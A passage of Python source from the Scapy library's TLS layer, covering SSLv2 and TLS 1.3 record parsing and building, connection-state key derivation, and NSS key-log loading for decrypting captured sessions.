"TLS Application Data" fields_desc = [StrField("data", "")] def post_dissection_tls_session_update(self, msg_str): pass def post_build_tls_session_update(self, msg_str): pass ############################################################################### # Bindings # ############################################################################### bind_layers(TCP, TLS, sport=443) bind_layers(TCP, TLS, dport=443) ================================================ FILE: scapy/layers/tls/record_sslv2.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2017 Maxence Tury """ SSLv2 Record. """ import struct from scapy.config import conf from scapy.error import log_runtime from scapy.compat import orb, raw from scapy.packet import Raw from scapy.layers.tls.session import _GenericTLSSessionInheritance from scapy.layers.tls.record import _TLSMsgListField, TLS from scapy.layers.tls.handshake_sslv2 import _sslv2_handshake_cls from scapy.layers.tls.basefields import (_SSLv2LengthField, _SSLv2PadField, _SSLv2PadLenField, _TLSMACField) ############################################################################### # SSLv2 Record Protocol # ############################################################################### class _SSLv2MsgListField(_TLSMsgListField): def __init__(self, name, default, length_from=None): if not length_from: length_from = lambda pkt: ((pkt.len & 0x7fff) - (pkt.padlen or 0) - len(pkt.mac)) super(_SSLv2MsgListField, self).__init__(name, default, length_from=length_from) def m2i(self, pkt, m): cls = Raw if len(m) >= 1: msgtype = orb(m[0]) cls = _sslv2_handshake_cls.get(msgtype, Raw) if cls is Raw: return Raw(m) else: return cls(m, tls_session=pkt.tls_session) def i2m(self, pkt, p): cur = b"" if isinstance(p, _GenericTLSSessionInheritance): p.tls_session = pkt.tls_session if not pkt.tls_session.frozen: cur = p.raw_stateful() p.post_build_tls_session_update(cur) else: cur = raw(p) else: cur = raw(p) return cur def addfield(self, pkt, s, val): res = b"" for p in val: res += self.i2m(pkt, p) return s + res class SSLv2(TLS): """ The encrypted_data is the encrypted version of mac+msg+pad. """ __slots__ = ["with_padding", "protected_record"] name = "SSLv2" fields_desc = [_SSLv2LengthField("len", None), _SSLv2PadLenField("padlen", None), _TLSMACField("mac", b""), _SSLv2MsgListField("msg", []), _SSLv2PadField("pad", "")] def __init__(self, *args, **kargs): self.with_padding = kargs.get("with_padding", False) self.protected_record = kargs.get("protected_record", None) super(SSLv2, self).__init__(*args, **kargs) # Parsing methods def _sslv2_mac_verify(self, msg, mac): secret = self.tls_session.rcs.cipher.key if secret is None: return True mac_len = self.tls_session.rcs.mac_len if mac_len == 0: # should be TLS_NULL_WITH_NULL_NULL return True if len(mac) != mac_len: return False read_seq_num = struct.pack("!I", self.tls_session.rcs.seq_num) alg = self.tls_session.rcs.hash h = alg.digest(secret + msg + read_seq_num) return h == mac def pre_dissect(self, s): if len(s) < 2: raise Exception("Invalid record: header is too short.") msglen = struct.unpack("!H", s[:2])[0] if msglen & 0x8000: hdrlen = 2 msglen_clean = msglen & 0x7fff else: hdrlen = 3 msglen_clean = msglen & 0x3fff hdr = s[:hdrlen] efrag = s[hdrlen:hdrlen + msglen_clean] self.protected_record = s[:hdrlen + msglen_clean] r = s[hdrlen + msglen_clean:] mac = pad = b"" # Decrypt (with implicit IV if block cipher) mfrag = self._tls_decrypt(efrag) # Extract MAC maclen = self.tls_session.rcs.mac_len if maclen == 0: mac, pfrag = b"", mfrag else: mac, pfrag = mfrag[:maclen], mfrag[maclen:] # Extract padding padlen = 0 if hdrlen == 3: padlen = orb(s[2]) if padlen == 0: cfrag, pad = pfrag, b"" else: cfrag, pad = pfrag[:-padlen], pfrag[-padlen:] # Verify integrity is_mac_ok = self._sslv2_mac_verify(cfrag + pad, mac) if not is_mac_ok: pkt_info = self.firstlayer().summary() log_runtime.info("SSLv2: record integrity check failed [%s]", pkt_info) # noqa: E501 reconstructed_body = mac + cfrag + pad return hdr + reconstructed_body + r def post_dissect(self, s): """ SSLv2 may force us to commit the write connState here. """ if self.tls_session.triggered_prcs_commit: if self.tls_session.prcs is not None: self.tls_session.rcs = self.tls_session.prcs self.tls_session.prcs = None self.tls_session.triggered_prcs_commit = False if self.tls_session.triggered_pwcs_commit: if self.tls_session.pwcs is not None: self.tls_session.wcs = self.tls_session.pwcs self.tls_session.pwcs = None self.tls_session.triggered_pwcs_commit = False if self.tls_session.prcs is not None: self.tls_session.prcs.seq_num += 1 self.tls_session.rcs.seq_num += 1 return s def do_dissect_payload(self, s): if s: try: p = SSLv2(s, _internal=1, _underlayer=self, tls_session=self.tls_session) except KeyboardInterrupt: raise except Exception: if conf.debug_dissector: raise p = conf.raw_layer(s, _internal=1, _underlayer=self) self.add_payload(p) # Building methods def _sslv2_mac_add(self, msg): secret = self.tls_session.wcs.cipher.key if secret is None: return msg write_seq_num = struct.pack("!I", self.tls_session.wcs.seq_num) alg = self.tls_session.wcs.hash h = alg.digest(secret + msg + write_seq_num) return h + msg def _sslv2_pad(self, s): padding = b"" block_size = self.tls_session.wcs.cipher.block_size padlen = block_size - (len(s) % block_size) if padlen == block_size: padlen = 0 padding = b"\x00" * padlen return s + padding def post_build(self, pkt, pay): if self.protected_record is not None: # we do not update the tls_session return self.protected_record + pay if self.padlen is None: cfrag = pkt[2:] else: cfrag = pkt[3:] if self.pad == b"" and self.tls_session.wcs.cipher.type == 'block': pfrag = self._sslv2_pad(cfrag) else: pad = self.pad or b"" pfrag = cfrag + pad padlen = self.padlen if padlen is None: padlen = len(pfrag) - len(cfrag) hdr = pkt[:2] if padlen > 0: hdr += struct.pack("B", padlen) # Integrity if self.mac == b"": mfrag = self._sslv2_mac_add(pfrag) else: mfrag = self.mac + pfrag # Encryption efrag = self._tls_encrypt(mfrag) if self.len is not None: tmp_len = self.len if not self.with_padding: tmp_len |= 0x8000 hdr = struct.pack("!H", tmp_len) + hdr[2:] else: # Update header with the length of TLSCiphertext.fragment msglen_new = len(efrag) if padlen: if msglen_new > 0x3fff: raise Exception("Invalid record: encrypted data too long.") else: if msglen_new > 0x7fff: raise Exception("Invalid record: encrypted data too long.") msglen_new |= 0x8000 hdr = struct.pack("!H", msglen_new) + hdr[2:] # Now we commit the pending write state if it has been triggered (e.g. # by an underlying TLSChangeCipherSpec or a SSLv2ClientMasterKey). We # update nothing if the pwcs was not set. This probably means that # we're working out-of-context (and we need to keep the default wcs). # SSLv2 may force us to commit the reading connState here. if self.tls_session.triggered_pwcs_commit: if self.tls_session.pwcs is not None: self.tls_session.wcs = self.tls_session.pwcs self.tls_session.pwcs = None self.tls_session.triggered_pwcs_commit = False if self.tls_session.triggered_prcs_commit: if self.tls_session.prcs is not None: self.tls_session.rcs = self.tls_session.prcs self.tls_session.prcs = None self.tls_session.triggered_prcs_commit = False if self.tls_session.pwcs is not None: self.tls_session.pwcs.seq_num += 1 self.tls_session.wcs.seq_num += 1 return hdr + efrag + pay ================================================ FILE: scapy/layers/tls/record_tls13.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2017 Maxence Tury # 2019 Romain Perez """ Common TLS 1.3 fields & bindings. This module covers the record layer, along with the ChangeCipherSpec, Alert and ApplicationData submessages. For the Handshake type, see tls_handshake.py. See the TLS class documentation for more information. """ import struct from scapy.error import log_runtime, warning from scapy.compat import raw, orb from scapy.fields import ByteEnumField, PacketField, XStrField from scapy.layers.tls.session import _GenericTLSSessionInheritance from scapy.layers.tls.basefields import _TLSVersionField, _tls_version, \ _TLSMACField, _TLSLengthField, _tls_type from scapy.layers.tls.record import _TLSMsgListField, TLS from scapy.layers.tls.crypto.cipher_aead import AEADTagError from scapy.layers.tls.crypto.cipher_stream import Cipher_NULL from scapy.layers.tls.crypto.common import CipherError from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp ############################################################################### # TLS Record Protocol # ############################################################################### class TLSInnerPlaintext(_GenericTLSSessionInheritance): name = "TLS Inner Plaintext" fields_desc = [_TLSMsgListField("msg", []), ByteEnumField("type", None, _tls_type), XStrField("pad", "")] def pre_dissect(self, s): """ We need to parse the padding and type as soon as possible, else we won't be able to parse the message list... """ if len(s) < 1: raise Exception("Invalid InnerPlaintext (too short).") tmp_len = len(s) - 1 if s[-1] != b"\x00": msg_len = tmp_len else: n = 1 while s[-n] != b"\x00" and n < tmp_len: n += 1 msg_len = tmp_len - n self.fields_desc[0].length_from = lambda pkt: msg_len self.type = struct.unpack("B", s[msg_len:msg_len + 1])[0] return s class _TLSInnerPlaintextField(PacketField): def __init__(self, name, default, *args, **kargs): super(_TLSInnerPlaintextField, self).__init__(name, default, TLSInnerPlaintext) def m2i(self, pkt, m): return self.cls(m, tls_session=pkt.tls_session) def getfield(self, pkt, s): tag_len = pkt.tls_session.rcs.mac_len frag_len = pkt.len - tag_len if frag_len < 1: warning("InnerPlaintext should at least contain a byte type!") return s, None remain, i = super(_TLSInnerPlaintextField, self).getfield(pkt, s[:frag_len]) # noqa: E501 # remain should be empty here return remain + s[frag_len:], i def i2m(self, pkt, p): if isinstance(p, _GenericTLSSessionInheritance): p.tls_session = pkt.tls_session if not pkt.tls_session.frozen: return p.raw_stateful() return raw(p) class TLS13(_GenericTLSSessionInheritance): __slots__ = ["deciphered_len"] name = "TLS 1.3" fields_desc = [ByteEnumField("type", 0x17, _tls_type), _TLSVersionField("version", 0x0303, _tls_version), _TLSLengthField("len", None), _TLSInnerPlaintextField("inner", TLSInnerPlaintext()), _TLSMACField("auth_tag", None)] def __init__(self, *args, **kargs): self.deciphered_len = kargs.get("deciphered_len", None) super(TLS13, self).__init__(*args, **kargs) # Parsing methods def _tls_auth_decrypt(self, s): """ Provided with the record header and AEAD-ciphered data, return the sliced and clear tuple (TLSInnerPlaintext, tag). Note that we still return the slicing of the original input in case of decryption failure. Also, if the integrity check fails, a warning will be issued, but we still return the sliced (unauthenticated) plaintext. """ rcs = self.tls_session.rcs read_seq_num = struct.pack("!Q", rcs.seq_num) rcs.seq_num += 1 add_data = (pkcs_i2osp(self.type, 1) + pkcs_i2osp(self.version, 2) + pkcs_i2osp(len(s), 2)) try: return rcs.cipher.auth_decrypt(add_data, s, read_seq_num) except CipherError as e: return e.args except AEADTagError as e: pkt_info = self.firstlayer().summary() log_runtime.info("TLS 1.3: record integrity check failed [%s]", pkt_info) # noqa: E501 return e.args def pre_dissect(self, s): """ Decrypt, verify and decompress the message. """ # We commit the pending read state if it has been triggered. if self.tls_session.triggered_prcs_commit: if self.tls_session.prcs is not None: self.tls_session.rcs = self.tls_session.prcs self.tls_session.prcs = None self.tls_session.triggered_prcs_commit = False if len(s) < 5: raise Exception("Invalid record: header is too short.") self.type = orb(s[0]) if (isinstance(self.tls_session.rcs.cipher, Cipher_NULL) or self.type == 0x14): self.deciphered_len = None return s else: msglen = struct.unpack('!H', s[3:5])[0] hdr, efrag, r = s[:5], s[5:5 + msglen], s[msglen + 5:] frag, auth_tag = self._tls_auth_decrypt(efrag) self.deciphered_len = len(frag) return hdr + frag + auth_tag + r def post_dissect(self, s): """ Commit the pending read state if it has been triggered. We update nothing if the prcs was not set, as this probably means that we're working out-of-context (and we need to keep the default rcs). """ if self.tls_session.triggered_prcs_commit: if self.tls_session.prcs is not None: self.tls_session.rcs = self.tls_session.prcs self.tls_session.prcs = None self.tls_session.triggered_prcs_commit = False return s def do_dissect_payload(self, s): """ Try to dissect the following data as a TLS message. Note that overloading .guess_payload_class() would not be enough, as the TLS session to be used would get lost. """ return TLS.do_dissect_payload(self, s) # Building methods def _tls_auth_encrypt(self, s): """ Return the TLSCiphertext.encrypted_record for AEAD ciphers. """ wcs = self.tls_session.wcs write_seq_num = struct.pack("!Q", wcs.seq_num) wcs.seq_num += 1 add_data = (pkcs_i2osp(self.type, 1) + pkcs_i2osp(self.version, 2) + pkcs_i2osp(len(s) + wcs.cipher.tag_len, 2)) return wcs.cipher.auth_encrypt(s, add_data, write_seq_num) def post_build(self, pkt, pay): """ Apply the previous methods according to the writing cipher type. """ # Compute the length of TLSPlaintext fragment hdr, frag = pkt[:5], pkt[5:] if not isinstance(self.tls_session.wcs.cipher, Cipher_NULL): frag = self._tls_auth_encrypt(frag) if self.len is not None: # The user gave us a 'len', let's respect this ultimately hdr = hdr[:3] + struct.pack("!H", self.len) else: # Update header with the length of TLSCiphertext.inner hdr = hdr[:3] + struct.pack("!H", len(frag)) # Now we commit the pending write state if it has been triggered. We # update nothing if the pwcs was not set. This probably means that # we're working out-of-context (and we need to keep the default wcs). if self.tls_session.triggered_pwcs_commit: if self.tls_session.pwcs is not None: self.tls_session.wcs = self.tls_session.pwcs self.tls_session.pwcs = None self.tls_session.triggered_pwcs_commit = False return hdr + frag + pay def mysummary(self): s, n = super(TLS13, self).mysummary() if self.inner and self.inner.msg: s += " / " s += " / ".join(getattr(x, "_name", x.name) for x in self.inner.msg) return s, n ================================================ FILE: scapy/layers/tls/session.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # 2019 Romain Perez """ TLS session handler. """ import binascii import collections import socket import struct from scapy.config import conf from scapy.compat import raw from scapy.error import log_runtime, warning from scapy.packet import Packet from scapy.pton_ntop import inet_pton from scapy.sessions import TCPSession from scapy.utils import repr_hex, strxor from scapy.layers.inet import TCP from scapy.layers.tls.crypto.compression import Comp_NULL from scapy.layers.tls.crypto.hkdf import TLS13_HKDF from scapy.layers.tls.crypto.prf import PRF # Typing imports from typing import Dict def load_nss_keys(filename): # type: (str) -> Dict[str, bytes] """ Parses a NSS Keys log and returns unpacked keys in a dictionary. """ # http://udn.realityripple.com/docs/Mozilla/Projects/NSS/Key_Log_Format keys = collections.defaultdict(dict) try: fd = open(filename) fd.close() except FileNotFoundError: warning("Cannot open NSS Key Log: %s", filename) return {} try: with open(filename) as fd: for line in fd: if line.startswith("#"): continue data = line.strip().split(" ") if len(data) != 3 or data[0] != data[0].upper(): warning("Invalid NSS Key Log Entry: %s", line.strip()) return {} try: client_random = binascii.unhexlify(data[1]) except ValueError: warning("Invalid ClientRandom: %s", data[1]) return {} try: secret = binascii.unhexlify(data[2]) except ValueError: warning("Invalid Secret: %s", data[2]) return {} # Warn that a duplicated entry was detected. The latest one # will be kept in the resulting dictionary. if client_random in keys[data[0]]: warning("Duplicated entry for %s !", data[0]) keys[data[0]][client_random] = secret return keys except UnicodeDecodeError as ex: warning("Cannot read NSS Key Log: %s %s", filename, str(ex)) return {} # Note the following import may happen inside connState.__init__() # in order to avoid to avoid cyclical dependencies. # from scapy.layers.tls.crypto.suites import TLS_NULL_WITH_NULL_NULL ############################################################################### # Connection states # ############################################################################### class connState(object): """ From RFC 5246, section 6.1: A TLS connection state is the operating environment of the TLS Record Protocol. It specifies a compression algorithm, an encryption algorithm, and a MAC algorithm. In addition, the parameters for these algorithms are known: the MAC key and the bulk encryption keys for the connection in both the read and the write directions. Logically, there are always four connection states outstanding: the current read and write states, and the pending read and write states. All records are processed under the current read and write states. The security parameters for the pending states can be set by the TLS Handshake Protocol, and the ChangeCipherSpec can selectively make either of the pending states current, in which case the appropriate current state is disposed of and replaced with the pending state; the pending state is then reinitialized to an empty state. It is illegal to make a state that has not been initialized with security parameters a current state. The initial current state always specifies that no encryption, compression, or MAC will be used. (For practical reasons, Scapy scraps these two last lines, through the implementation of dummy ciphers and MAC with TLS_NULL_WITH_NULL_NULL.) These attributes and behaviours are mostly mapped in this class. Also, note that Scapy may make a current state out of a pending state which has been initialized with dummy security parameters. We need this in order to know when the content of a TLS message is encrypted, whether we possess the right keys to decipher/verify it or not. For instance, when Scapy parses a CKE without knowledge of any secret, and then a CCS, it needs to know that the following Finished is encrypted and signed according to a new cipher suite, even though it cannot decipher the message nor verify its integrity. """ def __init__(self, connection_end="server", read_or_write="read", seq_num=0, compression_alg=Comp_NULL, ciphersuite=None, tls_version=0x0303): self.tls_version = tls_version # It is the user's responsibility to keep the record seq_num # under 2**64-1. If this value gets maxed out, the TLS class in # record.py will crash when trying to encode it with struct.pack(). self.seq_num = seq_num self.connection_end = connection_end self.row = read_or_write if ciphersuite is None: from scapy.layers.tls.crypto.suites import TLS_NULL_WITH_NULL_NULL ciphersuite = TLS_NULL_WITH_NULL_NULL self.ciphersuite = ciphersuite(tls_version=tls_version) if not self.ciphersuite.usable: warning("TLS cipher suite not usable. " "Is the cryptography Python module installed?") return self.compression = compression_alg() self.key_exchange = ciphersuite.kx_alg() self.cipher = ciphersuite.cipher_alg() self.hash = ciphersuite.hash_alg() if tls_version > 0x0200: if ciphersuite.cipher_alg.type == "aead": self.hmac = None self.mac_len = self.cipher.tag_len else: self.hmac = ciphersuite.hmac_alg() self.mac_len = self.hmac.hmac_len else: self.hmac = ciphersuite.hmac_alg() # should be Hmac_NULL self.mac_len = self.hash.hash_len if tls_version >= 0x0304: self.hkdf = TLS13_HKDF(self.hash.name.lower()) else: self.prf = PRF(ciphersuite.hash_alg.name, tls_version) def debug_repr(self, name, secret): if conf.debug_tls and secret: log_runtime.debug("TLS: %s %s %s: %s", self.connection_end, self.row, name, repr_hex(secret)) def derive_keys(self, client_random=b"", server_random=b"", master_secret=b""): # XXX Can this be called over a non-usable suite? What happens then? cs = self.ciphersuite # Derive the keys according to the cipher type and protocol version key_block = self.prf.derive_key_block(master_secret, server_random, client_random, cs.key_block_len) # When slicing the key_block, keep the right half of the material skip_first = False if ((self.connection_end == "client" and self.row == "read") or (self.connection_end == "server" and self.row == "write")): skip_first = True pos = 0 cipher_alg = cs.cipher_alg # MAC secret (for block and stream ciphers) if (cipher_alg.type == "stream") or (cipher_alg.type == "block"): start = pos if skip_first: start += cs.hmac_alg.key_len end = start + cs.hmac_alg.key_len mac_secret = key_block[start:end] self.debug_repr("mac_secret", mac_secret) pos += 2 * cs.hmac_alg.key_len else: mac_secret = None # Cipher secret start = pos if skip_first: start += cipher_alg.key_len end = start + cipher_alg.key_len cipher_secret = key_block[start:end] if cs.kx_alg.export: reqLen = cipher_alg.expanded_key_len cipher_secret = self.prf.postprocess_key_for_export(cipher_secret, client_random, server_random, self.connection_end, # noqa: E501 self.row, reqLen) self.debug_repr("cipher_secret", cipher_secret) pos += 2 * cipher_alg.key_len # Implicit IV (for block and AEAD ciphers) start = pos if cipher_alg.type == "block": if skip_first: start += cipher_alg.block_size end = start + cipher_alg.block_size elif cipher_alg.type == "aead": if skip_first: start += cipher_alg.fixed_iv_len end = start + cipher_alg.fixed_iv_len # Now we have the secrets, we can instantiate the algorithms if cs.hmac_alg is None: # AEAD self.hmac = None self.mac_len = cipher_alg.tag_len else: self.hmac = cs.hmac_alg(mac_secret) self.mac_len = self.hmac.hmac_len if cipher_alg.type == "stream": cipher = cipher_alg(cipher_secret) elif cipher_alg.type == "block": # We set an IV every time, even though it does not matter for # TLS 1.1+ as it requires an explicit IV. Indeed the cipher.iv # would get updated in TLS.post_build() or TLS.pre_dissect(). iv = key_block[start:end] if cs.kx_alg.export: reqLen = cipher_alg.block_size iv = self.prf.generate_iv_for_export(client_random, server_random, self.connection_end, self.row, reqLen) cipher = cipher_alg(cipher_secret, iv) self.debug_repr("block iv", iv) elif cipher_alg.type == "aead": fixed_iv = key_block[start:end] nonce_explicit_init = 0 # If you ever wanted to set a random nonce_explicit, use this: # exp_bit_len = cipher_alg.nonce_explicit_len * 8 # nonce_explicit_init = random.randint(0, 2**exp_bit_len - 1) cipher = cipher_alg(cipher_secret, fixed_iv, nonce_explicit_init) self.debug_repr("aead fixed iv", fixed_iv) self.cipher = cipher def sslv2_derive_keys(self, key_material): """ There is actually only one key, the CLIENT-READ-KEY or -WRITE-KEY. Note that skip_first is opposite from the one with SSLv3 derivation. Also, if needed, the IV should be set elsewhere. """ skip_first = True if ((self.connection_end == "client" and self.row == "read") or (self.connection_end == "server" and self.row == "write")): skip_first = False cipher_alg = self.ciphersuite.cipher_alg start = 0 if skip_first: start += cipher_alg.key_len end = start + cipher_alg.key_len cipher_secret = key_material[start:end] self.cipher = cipher_alg(cipher_secret) self.debug_repr("cipher_secret", cipher_secret) def tls13_derive_keys(self, key_material): cipher_alg = self.ciphersuite.cipher_alg key_len = cipher_alg.key_len iv_len = cipher_alg.fixed_iv_len write_key = self.hkdf.expand_label(key_material, b"key", b"", key_len) write_iv = self.hkdf.expand_label(key_material, b"iv", b"", iv_len) self.cipher = cipher_alg(write_key, write_iv) def snapshot(self): """ This is used mostly as a way to keep the cipher state and the seq_num. """ snap = connState(connection_end=self.connection_end, read_or_write=self.row, seq_num=self.seq_num, compression_alg=type(self.compression), ciphersuite=type(self.ciphersuite), tls_version=self.tls_version) snap.cipher = self.cipher.snapshot() if self.hmac: snap.hmac.key = self.hmac.key return snap def __repr__(self): res = "Connection end : %s\n" % self.connection_end.upper() res += "Cipher suite : %s (0x%04x)\n" % (self.ciphersuite.name, self.ciphersuite.val) res += "Compression : %s (0x%02x)\n" % (self.compression.name, self.compression.val) tabsize = 4 return res.expandtabs(tabsize) class readConnState(connState): def __init__(self, **kargs): connState.__init__(self, read_or_write="read", **kargs) class writeConnState(connState): def __init__(self, **kargs): connState.__init__(self, read_or_write="write", **kargs) ############################################################################### # TLS session # ############################################################################### class tlsSession(object): """ This is our TLS context, which gathers information from both sides of the TLS connection. These sides are represented by a readConnState instance and a writeConnState instance. Along with overarching network attributes, a tlsSession object also holds negotiated, shared information, such as the key exchange parameters and the master secret (when available). The default connection_end is "server". This corresponds to the expected behaviour for static exchange analysis (with a ClientHello parsed first). """ def __init__(self, ipsrc=None, ipdst=None, sport=None, dport=None, sid=None, connection_end="server", wcs=None, rcs=None): # Use this switch to prevent additions to the 'handshake_messages'. self.frozen = False # Network settings self.ipsrc = ipsrc self.ipdst = ipdst self.sport = sport self.dport = dport self.sid = sid # Identify duplicate sessions self.firsttcp = None # Our TCP socket. None until we send (or receive) a packet. self.sock = None # Connection states self.connection_end = connection_end if wcs is None: # Instantiate wcs with dummy values. self.wcs = writeConnState(connection_end=connection_end) self.wcs.derive_keys() else: self.wcs = wcs if rcs is None: # Instantiate rcs with dummy values. self.rcs = readConnState(connection_end=connection_end) self.rcs.derive_keys() else: self.rcs = rcs # The pending write/read states are updated by the building/parsing # of various TLS packets. They get committed to self.wcs/self.rcs # once Scapy builds/parses a ChangeCipherSpec message, or for certain # other messages in case of TLS 1.3. self.pwcs = None self.triggered_pwcs_commit = False self.prcs = None self.triggered_prcs_commit = False # Certificates and private keys # The server certificate chain, as a list of Cert instances. # Either we act as server and it has to be provided, or it is expected # to be sent by the server through a Certificate message. # The server certificate should be self.server_certs[0]. self.server_certs = [] # The server private key, as a PrivKey instance, when acting as server. # XXX It would be nice to be able to provide both an RSA and an ECDSA # key in order for the same Scapy server to support both families of # cipher suites. See INIT_TLS_SESSION() in automaton_srv.py. # (For now server_key holds either one of both types for DHE # authentication, while server_rsa_key is used only for RSAkx.) self.server_key = None self.server_rsa_key = None # self.server_ecdsa_key = None # A dictionary containing keys extracted from a NSS Keys Log using # the load_nss_keys() function. self.nss_keys = None # Back in the dreadful EXPORT days, US servers were forbidden to use # RSA keys longer than 512 bits for RSAkx. When their usual RSA key # was longer than this, they had to create a new key and send it via # a ServerRSAParams message. When receiving such a message, # Scapy stores this key in server_tmp_rsa_key as a PubKey instance. self.server_tmp_rsa_key = None # When client authentication is performed, we need at least a # client certificate chain. If we act as client, we also have # to provide the key associated with the first certificate. self.client_certs = [] self.client_key = None # Ephemeral key exchange parameters # The agreed-upon ephemeral key group self.kx_group = None # These are the group/curve parameters, needed to hold the information # e.g. from receiving an SKE to sending a CKE. Usually, only one of # these attributes will be different from None. self.client_kx_ffdh_params = None self.client_kx_ecdh_params = None # These are PrivateKeys and PublicKeys from the appropriate FFDH/ECDH # cryptography module, i.e. these are not raw bytes. Usually, only one # in two will be different from None, e.g. when being a TLS client you # will need the client_kx_privkey (the serialized public key is not # actually registered) and you will receive a server_kx_pubkey. self.client_kx_privkey = None self.client_kx_pubkey = None self.server_kx_privkey = None self.server_kx_pubkey = None # When using TLS 1.3, the tls13_client_pubshares will contain every # potential key share (equate the 'client_kx_pubkey' before) the client # offered, indexed by the id of the FFDH/ECDH group. These dicts # effectively replace the four previous attributes. self.tls13_client_privshares = {} self.tls13_client_pubshares = {} self.tls13_server_privshare = {} self.tls13_server_pubshare = {} # Negotiated session parameters # The advertised TLS version found in the ClientHello (and # EncryptedPreMasterSecret if used). If acting as server, it is set to # the value advertised by the client in its ClientHello. # The default value corresponds to TLS 1.2 (and TLS 1.3, incidentally). self.advertised_tls_version = 0x0303 # The agreed-upon TLS version found in the ServerHello. self.tls_version = None # These attributes should eventually be known to both sides (SSLv3-TLS 1.2). # noqa: E501 self.client_random = None self.server_random = None self.pre_master_secret = None self.master_secret = None # The advertised supported signature algorithms found in the ClientHello # extension. (for TLS 1.2-TLS 1.3 only) self.advertised_sig_algs = [] # The agreed-upon signature algorithm (for TLS 1.2-TLS 1.3 only) self.selected_sig_alg = None # A session ticket received by the client. self.client_session_ticket = None # These attributes should only be used with SSLv2 connections. # We need to keep the KEY-MATERIAL here because it may be reused. self.sslv2_common_cs = [] self.sslv2_connection_id = None self.sslv2_challenge = None self.sslv2_challenge_clientcert = None self.sslv2_key_material = None # These attributes should only be used with TLS 1.3 connections. self.tls13_psk_secret = None self.tls13_early_secret = None self.tls13_dhe_secret = None self.tls13_handshake_secret = None self.tls13_master_secret = None self.tls13_derived_secrets = {} self.tls13_cert_req_ctxt = False self.post_handshake = False # whether handshake is done self.post_handshake_auth = False # whether "Post-Handshake Auth" is used self.tls13_ticket_ciphersuite = None self.tls13_retry = False self.middlebox_compatibility = False # Handshake messages needed for Finished computation/validation. # No record layer headers, no HelloRequests, no ChangeCipherSpecs. self.handshake_messages = [] self.handshake_messages_parsed = [] # Post-handshake, handshake messages for post-handshake client authentication self.post_handshake_messages = [] # Flag, whether we derive the secret as Extended MS or not self.extms = False self.session_hash = None self.encrypt_then_mac = False # All exchanged TLS packets. # XXX no support for now # self.exchanged_pkts = [] def __setattr__(self, name, val): if name == "connection_end": if hasattr(self, "rcs") and self.rcs: self.rcs.connection_end = val if hasattr(self, "wcs") and self.wcs: self.wcs.connection_end = val if hasattr(self, "prcs") and self.prcs: self.prcs.connection_end = val if hasattr(self, "pwcs") and self.pwcs: self.pwcs.connection_end = val super(tlsSession, self).__setattr__(name, val) # Get infos from underlayer def set_underlayer(self, _underlayer): if isinstance(_underlayer, TCP): tcp = _underlayer self.sport = tcp.sport self.dport = tcp.dport try: self.ipsrc = tcp.underlayer.src self.ipdst = tcp.underlayer.dst except AttributeError: pass if self.firsttcp is None: self.firsttcp = tcp.seq # Mirroring def mirror(self): """ This function takes a tlsSession object and swaps the IP addresses, ports, connection ends and connection states. The triggered_commit are also swapped (though it is probably overkill, it is cleaner this way). It is useful for static analysis of a series of messages from both the client and the server. In such a situation, it should be used every time the message being read comes from a different side than the one read right before, as the reading state becomes the writing state, and vice versa. For instance you could do:: client_hello = open('client_hello.raw').read() m1 = TLS(client_hello) m2 = TLS(server_hello, tls_session=m1.tls_session.mirror()) m3 = TLS(server_cert, tls_session=m2.tls_session) m4 = TLS(client_keyexchange, tls_session=m3.tls_session.mirror()) """ self.ipdst, self.ipsrc = self.ipsrc, self.ipdst self.dport, self.sport = self.sport, self.dport self.rcs, self.wcs = self.wcs, self.rcs if self.rcs: self.rcs.row = "read" if self.wcs: self.wcs.row = "write" self.prcs, self.pwcs = self.pwcs, self.prcs if self.prcs: self.prcs.row = "read" if self.pwcs: self.pwcs.row = "write" self.triggered_prcs_commit, self.triggered_pwcs_commit = \ self.triggered_pwcs_commit, self.triggered_prcs_commit if self.connection_end == "client": self.connection_end = "server" elif self.connection_end == "server": self.connection_end = "client" return self # Secrets management for SSLv3 to TLS 1.2 def compute_master_secret(self): if self.pre_master_secret is None: warning("Missing pre_master_secret while computing master_secret!") if self.client_random is None: warning("Missing client_random while computing master_secret!") if self.server_random is None: warning("Missing server_random while computing master_secret!") if self.extms and self.session_hash is None: warning("Missing session hash while computing master secret!") ms = self.pwcs.prf.compute_master_secret(self.pre_master_secret, self.client_random, self.server_random, self.extms, self.session_hash) self.master_secret = ms if conf.debug_tls: log_runtime.debug("TLS: master secret: %s", repr_hex(ms)) def use_nss_master_secret_if_present(self) -> bool: # Load the master secret from an NSS Key dictionary if not self.nss_keys or "CLIENT_RANDOM" not in self.nss_keys: return False if self.client_random in self.nss_keys["CLIENT_RANDOM"]: self.master_secret = self.nss_keys["CLIENT_RANDOM"][self.client_random] return True return False def compute_ms_and_derive_keys(self): if not self.master_secret: self.compute_master_secret() self.prcs.derive_keys(client_random=self.client_random, server_random=self.server_random, master_secret=self.master_secret) self.pwcs.derive_keys(client_random=self.client_random, server_random=self.server_random, master_secret=self.master_secret) # Secrets management for SSLv2 def compute_sslv2_key_material(self): if self.master_secret is None: warning("Missing master_secret while computing key_material!") if self.sslv2_challenge is None: warning("Missing challenge while computing key_material!") if self.sslv2_connection_id is None: warning("Missing connection_id while computing key_material!") km = self.pwcs.prf.derive_key_block(self.master_secret, self.sslv2_challenge, self.sslv2_connection_id, 2 * self.pwcs.cipher.key_len) self.sslv2_key_material = km if conf.debug_tls: log_runtime.debug("TLS: master secret: %s", repr_hex(self.master_secret)) # noqa: E501 log_runtime.debug("TLS: key material: %s", repr_hex(km)) def compute_sslv2_km_and_derive_keys(self): self.compute_sslv2_key_material() self.prcs.sslv2_derive_keys(key_material=self.sslv2_key_material) self.pwcs.sslv2_derive_keys(key_material=self.sslv2_key_material) # Secrets management for TLS 1.3 def compute_tls13_early_secrets(self, external=False): """ This function computes the Early Secret, the binder_key, the client_early_traffic_secret and the early_exporter_master_secret (See RFC8446, section 7.1). The parameter external is used for the computation of the binder_key: - For external PSK provisioned outside out of TLS, the parameter external must be True. - For resumption PSK, the parameter external must be False. If no argument is specified, the label "res binder" will be used by default. Ciphers key and IV are updated accordingly for 0-RTT data. self.handshake_messages should be ClientHello only. """ # if no 